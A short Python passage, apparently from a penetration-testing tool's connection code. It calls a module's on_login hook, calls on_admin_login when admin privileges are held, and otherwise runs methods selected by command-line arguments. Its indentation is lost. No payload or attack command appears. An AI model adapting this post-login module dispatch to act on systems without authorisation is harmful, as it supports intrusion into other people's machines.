if hasattr(module, 'on_request') or hasattr(module, 'has_response'):
cmeserver.server.context.localip = local_ip
if hasattr(module, 'on_login'):
module.on_login(context, self)
if hasattr(module, 'on_admin_login') and self.admin_privs:
module.on_admin_login(context, self)
elif self.module is None:
for k, v in vars(self.args).iteritems():
if hasattr(self, k) and hasattr(getattr(self, k), '__call__'):
if v is not False and v is not None:
getattr(self, k)()
